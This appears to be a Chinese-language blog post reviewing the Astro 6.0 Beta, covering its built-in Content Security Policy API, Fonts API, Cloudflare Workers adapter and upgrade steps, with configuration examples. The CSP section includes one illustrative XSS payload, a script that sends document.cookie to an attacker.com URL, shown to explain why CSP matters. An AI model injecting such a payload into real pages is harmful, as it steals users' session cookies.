Astro 6.0 Beta 發布：效能與安全性的重大升級

Astro 6.0 Beta 來了。這次升級的核心方向很明確：安全性（CSP API）和開發者體驗（Fonts API、Cloudflare Workers 一級支援）。Astro 一直以「預設零 JavaScript」的 Islands Architecture 著稱，這次 6.0 把焦點放在「讓 production Astro 網站更安全、更快」。

前端工程師為什麼要關心 Astro 6.0

Astro 在 2024-2025 年快速成為最受歡迎的 Meta-framework 之一。它的核心價值主張很清楚：預設不送 JavaScript 到客戶端，讓你的靜態站點或 MPA（Multi-Page App）享有 HTML 的載入速度，同時保留「用自己喜歡的框架（React、Vue、Svelte）寫組件」的能力。

Astro 6.0 的升級，進一步強化了它在兩個維度上的競爭力：

安全性：CSP API 穩定化，解決 XSS（Cross-Site Scripting）問題
效能：重新設計的開發伺服器、更快的渲染效能

如果你已經在用 Astro，6.0 的升級值得評估。如果你在選型，Astro 6.0 的 CSP API 和 Fonts API，讓它從「適合純內容網站」的工具，變成更完整的 production-ready 框架。

CSP API 穩定化：解決十年來的安全問題

什麼是 CSP（Content Security Policy）

CSP 是一個 HTTP header，用來告訴瀏覽器「這個頁面允許加載哪些資源」。沒有 CSP 的網站，任何來源的 script 都可以執行——這是 XSS 攻擊成立的前提。

# 沒有 CSP 的風險
<!-- 用戶輸入被當作 HTML 執行 -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

# 有嚴格 CSP 的保護
<!-- 瀏覽器拒絕執行外部來源的 script -->
Content-Security-Policy: script-src 'self'

過去 Astro 處理 CSP 的痛點

過去在 Astro 裡設定 CSP，需要自己寫 middleware、自己處理 CSP directives、自己確保每個頁面都一致。很難做到，而且很容易出錯。

// 過去：自己寫 CSP middleware（容易出錯）
export function onRequest({ request, locals }, next) {
  const cspDirectives = [
    "default-src 'self'",
    "script-src 'self' 'nonce-{locals.nonce}'",
    "style-src 'self' 'unsafe-inline'",
    // ... 很容易漏掉某個 directive
  ].join('; ');

  return next();
}

Astro 6.0 的內建 CSP API

Astro 6.0 提供了專門的 CSP API，讓設定 CSP 變得簡單：

// astro.config.mjs
import { defineConfig } from 'astro/config';
import cloudflare from '@astrojs/cloudflare';

export default defineConfig({
  output: 'server',
  adapter: cloudflare(),
  security: {
    csp: {
      // 直接在這裡設定 CSP directives
      directives: {
        'default-src': ["'self'"],
        'script-src': ["'self'", "'strict-dynamic'"],
        'style-src': ["'self'", "'unsafe-inline'"],
        'img-src': ["'self'", 'data:', 'https:'],
        'font-src': ["'self'", 'https://fonts.gstatic.com'],
        'connect-src': ["'self'", 'https://api.example.com'],
      },
    },
  },
});

strict-dynamic 是 CSP 的进阶用法：允許頁面主體加載的 trust根基 script（經過 nonce 驗證的 script）再加載其他 script。這讓 CSP 在防止 XSS 的同時，不會破壞現代 JavaScript 模塊的加載。

為什麼這個功能重要：XSS 是最常見的 Web 安全漏洞之一。Astro 6.0 讓即使是「不懂安全的前端工程師」，也能輕鬆設定一個合理的預設 CSP。

內建 Fonts API：終結字型設定的混亂

過去的字型設定痛點

過去在 Astro 裡用 Google Fonts，有三種方式，每種都有問題：

直接 link 標籤：在 <head> 裡加 <link href="...">，缺點是無法優化、無法避免 FOUT（Flash of Unstyled Text）
@font-face 自己架：麻煩，需要自己下載字体、處理格式（woff2、woff）
第三方案件：各種 Astro 字型整合 plugin，素質參差不

Astro 6.0 的 Fonts API

Astro 6.0 內建了 Fonts API，支援本地字体、Google Fonts、Fontsource：

// astro.config.mjs
import { defineConfig } from 'astro/config';
import googleFonts from '@astrojs/google-fonts';

export default defineConfig({
  integrations: [
    googleFonts({
      // 直接在這裡設定字型
      families: {
        'Noto Sans TC': [400, 700],
        'Inter': true, // 所有 weight
      },
      // 自動下載並優化
      preload: true,
      // 避免 FOUT
      display: 'swap',
    }),
  ],
});

/* 使用 */
body {
  font-family: 'Noto Sans TC', sans-serif;
}

Astro 的 Fonts API 會：

自動下載 Google Fonts 的 woff2 文件
自動生成 @font-face CSS
自動設定 font-display: swap 避免 FOUT
在 build 時 把字体文件優化並 bundle 進輸出

這個 API 對於需要中文字體的開發者特別有價值——中文字体檔案大、載入慢，Astro 的 build-time 優化能顯著減少字体載入時間。

Fontsource 支援

如果你想用免費的開源字体（不需要 Google Fonts 的 API 依賴），Fontsource 是更好的選擇：

import { defineConfig } from 'astro/config';
import fontsource from '@astrojs/fontsource';

export default defineConfig({
  integrations: [
    fontsource({
      families: [
        {
          name: 'Noto Sans TC',
          weights: ['400', '700'],
          axes: 'wgh', // 可選：定義字體 axes
        },
      ],
      display: 'swap',
    }),
  ],
});

Cloudflare Workers 一級支援：Edge 就緒

為什麼 Cloudflare Workers 重要

Cloudflare Workers 是目前最受歡迎的 Edge Computing 平台之一。將 Astro 網站部署到 Cloudflare Workers，意味著：

全球 CDN 邊緣部署：頁面在離用戶最近的 edge node 執行，延遲最低
寒啟動時間極短：比傳統的 Serverless 架構快很多
KV 儲存整合：在 edge 直接讀寫 key-value 資料
** Durable Objects**：在 edge 有狀態的物件，支援即時應用

Astro 6.0 的 Cloudflare Workers 支援

// astro.config.mjs
import { defineConfig } from 'astro/config';
import cloudflare from '@astrojs/cloudflare';

export default defineConfig({
  output: 'server',
  adapter: cloudflare({
    // Cloudflare Workers 特定設定
    platformProxy: {
      enabled: true,
    },
    wasmModulePaths: {
      // 支援 Wasm 模組
    },
  }),
});

Cloudflare Workers 支援適用於所有 Astro render modes（output: 'static'、'server'、'hybrid'）。

重新設計的開發伺服器

開發和生產環境的一致性

Astro 過去一個被抱怨的問題：開發環境和生產環境的行為有差異。有時候 development 模式下正常運行的東西，在 production build 之後出現問題。

Astro 6.0 重新設計了開發 runtime，目標是「開發和生產環境的程式碼路徑盡可能一致」。

# 新的開發伺服器
npm run dev
# 重新設計的 runtime，行為更接近 production

具體改進：

Vite 的開發伺服器底層重構，更乾淨的 HMR（Hot Module Replacement）
新的 SSR（Server-Side Rendering）runtime，穩定性提升
更快的 cold start，特別是在 serverless 環境

升級須知

v5 → v6 的 Breaking Changes

Astro 6.0 有以下 Breaking Changes，已有的 Astro 5 專案需要留意：

astro.config.mjs 格式更新：某些 experimental flags 被移除，因為對應功能已經 stable
Live Content Collections：build-time collections 的 API 有小幅調整
Minimum Node.js 版本提升：建議 Node.js 20+

建議的升級步驟

# 1. 備份
git checkout -b astro-6-upgrade

# 2. 更新 Astro
npx astro update

# 3. 更新 adapters 和 integrations
npx astro check
# 修復任何型別錯誤

# 4. 測試
npm run dev
npm run build
npm run preview

不需要急著升級：Astro 6.0 仍是 Beta，Astro 5.x 是目前的 stable 版本。如果你的 Astro 5 網站穩定運行，不需要急於升級。

結語：Astro 的定位越來越清晰

Astro 6.0 的升級方向很明確：讓 Astro 從「內容網站框架」升級為「適合生產環境的邊緣優先框架」。

CSP API 的穩定化，讓安全性不再是「懂安全的工程師才能做到」的事。內建 Fonts API 解決了字型優化這個長期的痛點。Cloudflare Workers 的一級支援，讓部署到 Edge 變得和部署到傳統 serverless 一樣簡單。

對於已經在用 Astro 的團隊，Astro 6.0 是一個值得測試的升級。對於正在選型的團隊，Astro 6.0 讓它在「內容網站」之外的場景（電商、Saas、SPA）也變得更可行。

*## 延伸閱讀

Astro 5.0 全面解析 — Astro 5 的完整功能介紹
前端框架比較 2026 — 框架選擇的完整考量

本文是「2026 Meta-Framework 比較」系列文章之一。*